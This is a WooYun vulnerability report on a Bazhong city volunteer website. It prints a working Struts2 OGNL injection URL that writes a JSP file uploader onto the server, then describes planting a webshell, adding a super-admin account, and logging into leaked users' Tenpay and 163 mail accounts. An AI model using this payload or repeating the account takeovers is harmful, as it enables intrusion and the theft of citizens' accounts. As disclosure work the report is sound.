当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-0149259

漏洞标题:巴中市某系统缺陷导致大量市民财付通密码、身份证泄露

相关厂商:巴中市政府

漏洞作者: Eli0t

提交时间:2015-10-28 12:05

修复时间:2015-12-14 14:42

公开时间:2015-12-14 14:42

漏洞类型:敏感信息泄露

危害等级:高

自评Rank:20

漏洞状态:已交由第三方合作机构(cncert国家互联网应急中心)处理

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-10-28: 细节已通知厂商并且等待厂商处理中
2015-10-30: 厂商已经确认,细节仅向厂商公开
2015-11-09: 细节向核心白帽子及相关领域专家公开
2015-11-19: 细节向普通白帽子公开
2015-11-29: 细节向实习白帽子公开
2015-12-14: 细节向公众公开

简要描述:

某院长带领科研团队历时一年开发的,所谓的对提高城市文明指数和市民素质具有极高价值的系统。存在严重漏洞而且明文存储密码,海量市民的身份证、手机、邮箱和财付通密码都被坑在里面了,不知道这事儿市民们知道了会作何感想呢?

详细说明:

地址:http://**.**.**.**/guest/index.action
注意主页请求是以.action结尾的,那就试试struts漏洞呗。
http://**.**.**.**/guest/index.action?redirect:${ %23req%3d%23context.get('com.opensymphony.xwork2.dispatcher.HttpServletRequest'), %23p%3d(%23req.getRealPath(%22/%22)%2b%22config.jsp%22).replaceAll("\\\\", "/"),new+**.**.**.**.BufferedWriter(new+**.**.**.**.FileWriter(%23p)).append(%23req.getParameter(%22c%22)).close() }&c=%3c%25if(request.getParameter(%22f%22)!%3dnull)(new+**.**.**.**.FileOutputStream(application.getRealPath(%22%2f%22)%2brequest.getParameter(%22f%22))).write(request.getParameter(%22t%22).getBytes())%3b%25%3e
小马注入后,再构造一个custom.html,其中form action的路径指向小马
用浏览器打开custom.html,将dama.jsp中内容复制到文本框中,然后点击提交。

20.jpg


菜刀连上看看

21.jpg


执行命令看看权限

22.jpg


不试不知道,一试吓一跳!直接拿到服务器最高管理员权限,想干嘛都行了。新增个超级管理员,远程上去看看。

13.jpg


下面介绍一下该项目:
1、项目历时一年,课题组根据巴中市文明城市创建工作的需要,针对巴中实际,在文献搜集、理论分析、现场考察、广泛借鉴国内外志愿者先进管理经验的基础上形成的最终成果

0.jpg


2、首页捐款账户可直接篡改

1.jpg


3、每分钟10个用户注册

2.jpg


4、拿到数据库分配积分,商品可直接兑换

3.jpg


5、进入后台看看,这个主要做权限管理的

5.jpg


6、还是双后台哦,看看这个做内容管理的

6.jpg


7.jpg


来看看数据库吧

14.png


直接看用户表,身份证、邮箱、手机,密码都是明文存储。

8.jpg


9.jpg


截止提交为止,53293用户,还在以每分钟10个用户不断增长。
随便找个用户登录她的财付通看看

11.png


再换个用163邮箱注册的用户,试试163邮箱

10.jpg


还有用国家统计局的邮箱注册的,太敏感了。就不放出来了。

漏洞证明:

注意主页请求是以.action结尾的,那就试试struts漏洞呗。不试不知道,一试吓一跳!直接拿到服务器最高管理员权限,想干嘛都行了。新增个超级管理员,远程上去看看。

13.jpg


下面介绍一下该项目:
1、项目历时一年,课题组根据巴中市文明城市创建工作的需要,针对巴中实际,在文献搜集、理论分析、现场考察、广泛借鉴国内外志愿者先进管理经验的基础上形成的最终成果

0.jpg


2、首页捐款账户可直接篡改

1.jpg


3、每分钟10个用户注册

2.jpg


4、拿到数据库分配积分,商品可直接兑换

3.jpg


5、进入后台看看,这个主要做权限管理的

5.jpg


6、还是双后台哦,看看这个做内容管理的

6.jpg


7.jpg


来看看数据库吧

14.png


直接看用户表,身份证、邮箱、手机,密码都是明文存储。

8.jpg


9.jpg


截止提交为止,53293用户,还在以每分钟10个用户不断增长。
随便找个用户登录她的财付通看看

11.png


再换个用163邮箱注册的用户,试试163邮箱

10.jpg


还有用国家统计局的邮箱注册的,太敏感了。就不放出来了。

修复方案:

不要明文存储密码,不要用超级管理员启动tomcat,升级struts版本。最好是找一批专业人士重做该项目吧。教授太渣了。。。

版权声明:转载请注明来源 Eli0t@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:11

确认时间:2015-10-30 14:41

厂商回复:

CNVD确认并复现所述漏洞情况,已经转由CNCERT下发对应分中心,由其后续协调网站管理单位处置。

最新状态:

暂无


漏洞评价:

评价